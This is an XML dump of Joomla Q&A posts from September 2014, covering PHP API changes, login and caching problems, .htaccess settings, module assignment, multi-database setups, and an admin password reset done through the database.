  <row Id="4446" PostTypeId="2" ParentId="4445" CreationDate="2014-09-15T01:16:56.573" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2#JRequest&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;JRequest&lt;/code&gt; is &lt;strong&gt;deprecated&lt;/strong&gt;.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been replaced by &lt;a href=&quot;http://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;JInput&lt;/code&gt;&lt;/a&gt;, so your line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$article-&amp;gt;load(JRequest::getInt(&quot;id&quot;)); // Get Article ID &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would need to change to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = JFactory::getApplication()-&amp;gt;input-&amp;gt;getInt('id');&#xA;$article-&amp;gt;load($id); // Get Article &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-09-15T01:16:56.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4447" PostTypeId="1" CreationDate="2014-09-15T03:43:50.320" Score="2" ViewCount="186" Body="&lt;p&gt;I'm running two sites, both with the same theme and modules, both Joomla 2.5.22. With the test site mobile devices can log in, with the live site they can't.  When a user enters their username and password and hits login, the page just appears to reload.  Putting in a fake username or incorrect password results in the same thing.  No errors appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried jQuery Easy and while that fixed a problem I didn't realize was there, it hasn't solved the login issue. I've tried disabling modules (and clearing the server cache, as well as browser cache) and I just can't track down what the issue is. I can only test with an iPhone and an iPad, both in Safari and Chrome, ios is up-to-date. I have no idea how to progress any further, and I apologize if this is a dumb question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pf-sgg.lunarius.net&quot; rel=&quot;nofollow&quot;&gt;pf-sgg.lunarius.net&lt;/a&gt; is the active site.&lt;br&gt;&#xA;&lt;a href=&quot;http://lunarius.net/pf-test&quot; rel=&quot;nofollow&quot;&gt;lunarius.net/pf-test&lt;/a&gt; is the test site.&lt;/p&gt;&#xA;" OwnerUserId="1899" LastActivityDate="2014-09-15T12:13:51.630" Title="No Mobile Login" Tags="|joomla-2.5|login|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4449" PostTypeId="1" AcceptedAnswerId="4450" CreationDate="2014-09-15T09:28:07.817" Score="2" ViewCount="2534" Body="&lt;p&gt;I have page caching turned on. (The cache plugin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives a problem on the contact page because it caches the _token aswell. This means only the visitor who triggers the caching for that page can use the contact form. If someone else visits the page he will get the _token from someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to solve this?&lt;/p&gt;&#xA;" OwnerUserId="1901" LastActivityDate="2014-09-15T11:57:56.903" Title="Turn off page caching on a single page" Tags="|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4450" PostTypeId="2" ParentId="4449" CreationDate="2014-09-15T11:57:56.903" Score="2" Body="&lt;p&gt;AFAIK you can't do that for core's cache plugin. However, there are a few options in the JED that will allow you doing exactly that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/cache&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/core-enhancements/performance/cache&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one for example should help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/cache/17783&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/core-enhancements/performance/cache/17783&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1504" LastActivityDate="2014-09-15T11:57:56.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4451" PostTypeId="2" ParentId="4447" CreationDate="2014-09-15T12:13:51.630" Score="4" Body="&lt;p&gt;I can confirm it returns an error message (&quot;Username and password do not match or you do not have an account yet&quot;) in Android+Chrome. The only difference I see between both sites is Widgetkit's lightbox (enabled in live site). Try disabling it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to test if error persists with default Joomla template (to discard a template issue).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you should seriously consider at least upgrading to Joomla 2.5.24, and if possible, to Joomla 3.3.3. As it seems to be a new project, I think 3.3.3 would be definitely the best idea (2.5 branch will be eol by the end of the year, and no more official support for it will be given by the Joomla Project).&lt;/p&gt;&#xA;" OwnerUserId="1504" LastActivityDate="2014-09-15T12:13:51.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4452" PostTypeId="2" ParentId="4431" CreationDate="2014-09-15T12:32:58.860" Score="2" Body="&lt;p&gt;It seems that onContentSearch is written in echo or print_r , you can search the string in code to detect it in search plugin or component used on your site, can check the article content if any is set on this page from admin panel and also check the index file of your template.&lt;/p&gt;&#xA;" OwnerUserId="1864" LastActivityDate="2014-09-15T12:32:58.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4453" PostTypeId="2" ParentId="4443" CreationDate="2014-09-15T12:43:52.643" Score="3" Body="&lt;p&gt;First take the backup of your current htaccess file and then try this :-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;List item&lt;/p&gt;&#xA;&#xA;#### Begin - ETag Optimization&#xA;&#xA;&lt;h2&gt;This rule will create an ETag for files based only on the modification&lt;/h2&gt;&#xA;&#xA;&lt;h2&gt;timestamp and their size.&lt;/h2&gt;&#xA;&#xA;&lt;h2&gt;Note: It may cause problems on your server and you may need to remove it&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;FileETag MTime Size  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;AddOutputFilterByType is now deprecated by Apache. Use mod_filter in the future.&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;AddOutputFilterByType DEFLATE text/plain text/html text/xml text/css application/xml   application/xhtml+xml application/rss+xml application/javascript application/x-javascript  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Enable expiration control&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;ExpiresActive On  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Default expiration: 1 hour after request&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;ExpiresDefault &quot;now plus 1 hour&quot;  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;CSS and JS expiration: 2 days after access&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;ExpiresByType text/css &quot;access plus 2 days&quot;&lt;br&gt;&#xA;ExpiresByType application/javascript &quot;access plus 2 days&quot;&lt;br&gt;&#xA;ExpiresByType application/x-javascript &quot;access plus 2 days&quot;  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Image files expiration: 1 week after access&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;ExpiresByType image/bmp &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType image/gif &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType image/jpeg &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType image/jp2 &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType image/pipeg &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType image/png &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType image/svg+xml &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType image/tiff &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType image/vnd.microsoft.icon &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType image/x-icon &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType image/ico &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType image/icon &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType text/ico &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType application/ico &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType image/vnd.wap.wbmp &quot;access plus 1 week&quot;&lt;br&gt;&#xA;ExpiresByType application/vnd.wap.wbxml &quot;access plus 1 week&quot;  &lt;/p&gt;&#xA;" OwnerUserId="1864" LastActivityDate="2014-09-15T12:43:52.643" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4455" PostTypeId="2" ParentId="4436" CreationDate="2014-09-15T12:57:20.763" Score="3" Body="&lt;p&gt;A good way I also have found is if you have regular Akeeba Backups or ftp dumps of your site is to extract them into a local directory, one from say a week or two before and one after your hack.&#xA;Then use a folder DIFF tool, on windows I have WinMerge and on linux vimdiff or diff and then run it between the two folders.&#xA;You will often see files you next change show up and modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N.B. you might need to get the live copy from the server not an Akeeba to notice files in your /tmp folder but thats easy to look through the list of folders you ignore on your Akeeba.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did this on a 1.5 site I was hired to do and makes much easer than checking files, and found it in the session folder and the tmp and the rss files.&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2014-09-15T12:57:20.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4456" PostTypeId="1" AcceptedAnswerId="4457" CreationDate="2014-09-15T13:10:50.687" Score="3" ViewCount="3586" Body="&lt;p&gt;I have menus in home page. Now i want to display different modules in different page and also I want to add SEF custom name to pages. Since I am new to Joomla, Any help greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance &lt;/p&gt;&#xA;" OwnerUserId="1875" LastActivityDate="2016-07-15T11:19:21.860" Title="How to assign a module to different pages" Tags="|joomla-3.x|module|sef|module-display|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4457" PostTypeId="2" ParentId="4456" CreationDate="2014-09-15T13:20:20.413" Score="7" Body="&lt;p&gt;To assign modules to pages;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla 2.5 instructions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Log into the Joomla administrator area of your site&lt;/li&gt;&#xA;&lt;li&gt;Select the Extensions menu and Module manager menu&lt;/li&gt;&#xA;&lt;li&gt;Open the module/menu you have created&lt;/li&gt;&#xA;&lt;li&gt;Scroll down to the bottom of the module position&lt;/li&gt;&#xA;&lt;li&gt;You will now see the menu assignment options where you can assign the&#xA;module to selected pages or all pages&lt;/li&gt;&#xA;&lt;li&gt;To assign the module to all pages just select the all pages option&#xA;from the drop down list&lt;/li&gt;&#xA;&lt;li&gt;To assign the module to select pages just select the selected pages&#xA;option from the drop down list and then choose the pages you want to&#xA;assign the module to.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla 3.x Instructions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the Extension menu and module manager menu&lt;/li&gt;&#xA;&lt;li&gt;Open the module/menu you have created for the slideshow &lt;/li&gt;&#xA;&lt;li&gt;Select the menu assignment tab&lt;/li&gt;&#xA;&lt;li&gt;You will now see a number of options where you can assign the module&#xA;to all pages or only on selected pages&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To enable SEF in Joomla follow the official docs &lt;a href=&quot;http://docs.joomla.org/Enabling_Search_Engine_Friendly_(SEF)_URLs&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TIP&lt;/strong&gt;: &lt;em&gt;System Links/ Menu Item Alias&lt;/em&gt; can be of great help to organize your menu. You can create several menus (show them or not in the frontsite), and create &lt;strong&gt;aliases&lt;/strong&gt; to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="174" LastEditDate="2014-09-15T13:48:52.553" LastActivityDate="2014-09-15T13:48:52.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4458" PostTypeId="2" ParentId="4456" CreationDate="2014-09-15T14:13:07.783" Score="3" Body="&lt;p&gt;You can use &lt;a href=&quot;http://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;Advanced Module Manager&lt;/a&gt;. With Advanced Module Manager you have the possibility to assign modules to just about anything you want.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-09-15T14:13:07.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4459" PostTypeId="2" ParentId="4211" CreationDate="2014-09-16T00:24:00.977" Score="2" Body="&lt;p&gt;Check with your web host, they may be caching from the their end. I had that recently happen to me. When I had them remove their cache (which was on by default) I was able to see all of my changes in the front-end.&lt;/p&gt;&#xA;" OwnerUserId="1905" LastActivityDate="2014-09-16T00:24:00.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4460" PostTypeId="2" ParentId="3960" CreationDate="2014-09-16T00:26:10.780" Score="2" Body="&lt;p&gt;There is a great plugin for this made by Yireo&#xA;&lt;a href=&quot;https://www.yireo.com/software/joomla-extensions/ssl-redirect&quot; rel=&quot;nofollow&quot;&gt;https://www.yireo.com/software/joomla-extensions/ssl-redirect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! can be configured to use SSL. But this does not mean that all your secure pages are actually kept secure. This plugin forces what is actually required: HTTPS or HTTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of all, the developers are very responsive...which makes a world of difference to me.&lt;/p&gt;&#xA;" OwnerUserId="1905" LastActivityDate="2014-09-16T00:26:10.780" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4461" PostTypeId="2" ParentId="4445" CreationDate="2014-09-16T01:24:23.657" Score="1" Body="&lt;p&gt;Not sure accessing the article is the issue, although you should use JInput veruses JRequest, it shouldn't prevent you from getting the data yet.  Unless there is a new technique I've missed in my old age, you are not referencing the image properties properly, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;img src='&quot; . $pictures-&amp;gt;image_intro . &quot;' alt='&quot; . $pictures-&amp;gt;image_intro_alt . &quot;'&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2014-09-16T01:24:23.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4462" PostTypeId="1" CreationDate="2014-09-16T04:59:46.753" Score="7" ViewCount="13966" Body="&lt;p&gt;I migrated an old Joomla 1.5 site to a shiny new Joomla 3.3 version using the tool &lt;a href=&quot;http://cyend.com/extensions/extensions&quot; rel=&quot;nofollow&quot;&gt;SP UPGRADE&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I can't seem to login and I fear its because all the user passwords in the DB look like 'MD5':'Salt' which is the old way to create passwords. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the newer code uses a based password. All of the methods I see described about pasting in the old style 'secret' password are not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I reset a password in Joomla 3.3?&lt;/p&gt;&#xA;" OwnerUserId="1907" LastEditorUserId="126" LastEditDate="2015-06-05T11:33:37.413" LastActivityDate="2016-08-01T21:21:17.473" Title="How (re)set password for admin after migration from 1.5?" Tags="|joomla-3.x|security|joomla-1.5|migration|account-password|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4463" PostTypeId="2" ParentId="4462" CreationDate="2014-09-16T11:50:07.817" Score="9" Body="&lt;p&gt;Here is a workaround to temporary reset your password for your account. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Login to your hosting panel and use the database tool that is available (probably PHPmyAdmin). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Load the appropriate database and then go to the jos_users table. (The database prefix might be different for your case).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to the browse view of the PHPmyAdmin, so you get view of the users records. &lt;/li&gt;&#xA;&lt;li&gt;Locate your account and click to edit, or click directly in the 'password' field (Usually PHPmyAdmin, will make the field editable with this). &lt;/li&gt;&#xA;&lt;li&gt;In the password field paste the value below: &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$2y$10$JszAMznv7U2Q4VETQdw7n.CX/HPekafC8sxa9.n0V2gp/t/.xvHYi&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;Do not apply any special functions for saving the field and it will set your account password to admin. Save the record.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can now login with your account, using as password: admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After login, make sure you set your desired password.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-09-16T11:50:07.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4464" PostTypeId="1" AcceptedAnswerId="4465" CreationDate="2014-09-16T13:17:25.380" Score="4" ViewCount="430" Body="&lt;p&gt;My client is a Data Center Architect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to his experience with his work (many customers come to him because they have suffered great data loss in the past), he would like me to configure his Joomla site so that each component (JomSocial, EasyDiscuss, JomDirectory) stores its data in a separate database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not been able to find any information about anyone ever having done anything like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it could slow the site down significantly but he would like to try it if it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a good idea?&lt;/p&gt;&#xA;" OwnerUserId="1689" LastActivityDate="2014-09-16T15:27:09.517" Title="Using Separate Databases for Each Component" Tags="|joomla-3.x|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4465" PostTypeId="2" ParentId="4464" CreationDate="2014-09-16T13:29:45.220" Score="8" Body="&lt;p&gt;Storing data for each component in a different database is an extremely bad idea. Yes, it &lt;strong&gt;is&lt;/strong&gt; possible with Joomla, however you should have to hack into a large amount of core files, change database queries and so forth. If you decided to upgrade one of the extensions, it would override all your changes. So this is a no go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, I would suggest running a cron job that executes a script every X amount of hours or per day. This script would simply take a backup of all database tables that belong to the extension. You can either have a separate script per extension or combine them into 1, however I would recommend separate scripts, which will make it easier to maintain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a backup of your tables, you can import them to your desired databases.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-09-16T13:29:45.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4466" PostTypeId="1" AcceptedAnswerId="4482" CreationDate="2014-09-16T14:12:17.233" Score="2" ViewCount="305" Body="&lt;p&gt;I have a virtual server on Microsoft Azure. It has IIS 8, PHP 5.4 and a Joomla 3.3 site installed on it. This is a brand new install where I am migrating a site from a different location using Akeeba Backup(v4.0.2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am seeing a problem when I try to log into the Joomla site at either the front end or the administrator side. In both cases I enter a valid username/password combination (verified) and the screen just jumps back to the same page.  I get no error or notification of an invalid login, but it does not log in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I verified the users I am trying and everything looks good at that level.  I have error reporting set to its highest level in PHP and Joomla. So far I have seen no errors anyplace. The web pages do seem to be posting the login credentials to the server and the page is refreshing.  There are no JavaScript errors that I have found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one strange thing is that Joomla does not seem to be writing anything to the Logs folder. On each login attempt it should be appending a log file, but nothing at all is happening in that folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some posts people have noted that this could be a permissions issue and cause a silent failure. Based on that I verified that the IIS_USERS account had full permissions to that folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am beating my head against the wall on this.  Does anyone have an idea of what is going on or thoughts on how to debug the problem?&lt;/p&gt;&#xA;" OwnerUserId="1759" LastEditorUserId="159" LastEditDate="2014-09-17T14:33:48.263" LastActivityDate="2014-09-17T15:07:31.667" Title="Can't logon with Joomla IIS 8 install" Tags="|security|login|installation|iis|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4467" PostTypeId="2" ParentId="4464" CreationDate="2014-09-16T15:27:09.517" Score="2" Body="&lt;p&gt;If you are writing a component, you can store the data in another database or host or use another table prefix or driver like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array(&#xA;    'driver' =&amp;gt; 'mysqli',&#xA;    'host' =&amp;gt; 'localhost2',&#xA;    'user' =&amp;gt; 'myuser2',&#xA;    'password' =&amp;gt; 'mypassword2',&#xA;    'database' =&amp;gt; 'mydatabase2',&#xA;    'prefix' =&amp;gt; 'joomlaprefix2',&#xA;);&#xA;&#xA;$db = JDatabase::getInstance($options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also change a third-party component if you are allowed but when you update the component, everything disappears.&lt;/p&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2014-09-16T15:27:09.517" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4468" PostTypeId="1" AcceptedAnswerId="4471" CreationDate="2014-09-16T17:33:54.237" Score="8" ViewCount="4025" Body="&lt;p&gt;I am managing a site powered by Joomla 2.5 (&lt;strong&gt;online&lt;/strong&gt; installation) and hosted on Joomla &lt;strong&gt;free&lt;/strong&gt; hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only since the latest 2-3 months it happens that I don't receive anymore the emails reminding to update to current version (2.5.24 when I write).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore - I should say &lt;em&gt;Above all&lt;/em&gt; - in the same period, when I log in to administration, it says there are no updates available and that the current stable version is 2.5.19. These two things I have empathized in red here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ySRt.jpg&quot; alt=&quot;Update notification&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this situation related to J2.5 end-of-life term in late 2014?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I do something to handle the update &quot;manually&quot; on admin side or somewhere else online?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remark that this problem occurred to me only in the latest months, never before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any hint!&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="126" LastEditDate="2015-06-05T11:32:13.510" LastActivityDate="2015-06-05T11:32:13.510" Title="No notification to update to latest Joomla version" Tags="|joomla-2.5|update|cache|one-click-updates|versions|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4469" PostTypeId="1" CreationDate="2014-09-16T18:17:05.713" Score="2" ViewCount="657" Body="&lt;p&gt;I want to have a very basic form, basically just a couple text fields and a few checkboxes.   Ideally this form would be able to save to a table somewhere with the userid/name of the user that filled it out and the values that they chose. Then the next time the user would go to that page, the form would populate with the values that they chose originally and they would be able to update their selections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a form extension that is capable of this? fabrik? rsform? chronoform? something else?  I've looked into them a bit and I want to say that is probably possible but I'm not completely sure and I'm curious if anyone knew for a fact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: looks like chronoforms and the 'DB Record Loader' might be what I'm looking for?&lt;/p&gt;&#xA;" OwnerUserId="1910" LastEditorUserId="1910" LastEditDate="2014-09-16T18:22:51.387" LastActivityDate="2014-09-20T02:35:52.673" Title="Can some form extension write to/populate with values from database?" Tags="|joomla-3.x|mysql|form|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4470" PostTypeId="2" ParentId="4469" CreationDate="2014-09-16T18:55:20.987" Score="1" Body="&lt;p&gt;RSForms pro have recently added this feature, so because it is a simple form component might fit well to your requirements. But you can definitely create this with Fabrik and Cobalt, or other similar app-builders components, but I guess this will require more work.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-09-16T20:06:02.923" LastActivityDate="2014-09-16T20:06:02.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4471" PostTypeId="2" ParentId="4468" CreationDate="2014-09-16T19:02:00.753" Score="7" Body="&lt;p&gt;This is usually caused by the cache mechanisms in Joomla. It has nothing to do with the Joomla 2.5. eol. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Clear Cache&lt;/strong&gt; and &lt;strong&gt;purge expired cache&lt;/strong&gt; from the &lt;strong&gt;maintenance menu&lt;/strong&gt;, and also it usually helps if you go to &lt;strong&gt;Extensions Manager -&gt; update / manage&lt;/strong&gt; and &lt;strong&gt;Clear/Refresh the cahce&lt;/strong&gt; for the extensions there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to the Joomla Update Component and see if it shows the available update. As always, have a &lt;strong&gt;backup&lt;/strong&gt; in place before performing any updates.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-09-16T19:02:00.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4473" PostTypeId="1" AcceptedAnswerId="4479" CreationDate="2014-09-17T06:36:57.087" Score="3" ViewCount="353" Body="&lt;p&gt;I know, that joomla 3.x uses bootstrap, both css and js. When I am filling in the registration form and my password is too short for example, I start getting those javascript tooltip error messages. &#xA;I have added an ajax call to the registration where I check the availability of the username and email. I am getting my string message back succesfully  with jQuery ajax. &#xA;But How can I add that message to my username input field to be shown at the other tooltips?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2014-09-17T12:52:46.290" Title="How to add the joomla style tootltip error message to a form" Tags="|error-handling|bootstrap|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4474" PostTypeId="2" ParentId="1159" CreationDate="2014-09-17T07:59:30.033" Score="6" Body="&lt;p&gt;The native multi-language system of Joomla is ok if you have a few articles and modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a lot of articles, modules, it’s not simple to handle because everything is in duplicate. Imagine if you have 500 articles, you will need 500 articles in English, 500 in french, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, i suggest to use a module like this one :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.faboba.com/en/composants/falang.html&quot;&gt;http://www.faboba.com/en/composants/falang.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this module, you have only one article and inside this article you manage the different translations. Same thing for module like menu.&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2014-09-17T07:59:30.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4475" PostTypeId="1" AcceptedAnswerId="4476" CreationDate="2014-09-17T09:16:49.943" Score="1" ViewCount="5704" Body="&lt;p&gt;Is there any way I can echo some code if the URL matches a set URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can do this using the menu ID such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//This is the code for the page with menu ID 3&#xA;$menuID = JSite::getMenu()-&amp;gt;getActive()-&amp;gt;id ;&#xA;    if ($menuID == '3')&#xA;    {&#xA;        echo '';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I want to be able to echo a piece of code if the URL matches.&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2014-09-17T12:21:45.523" Title="If URL is equal to X then do this" Tags="|php|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4476" PostTypeId="2" ParentId="4475" CreationDate="2014-09-17T09:21:41.960" Score="0" Body="&lt;p&gt;Ok, got it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Get the full URL for sharing purposes&#xA;$uri = JFactory::getURI();&#xA;$absolute_url = $uri-&amp;gt;toString();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will get me the current URL. I can the put an if statement in for this, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($absolute_url == 'http://mydomain.com/the/url/i/want/to/match/')&#xA;    {&#xA;        echo '';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastActivityDate="2014-09-17T09:21:41.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
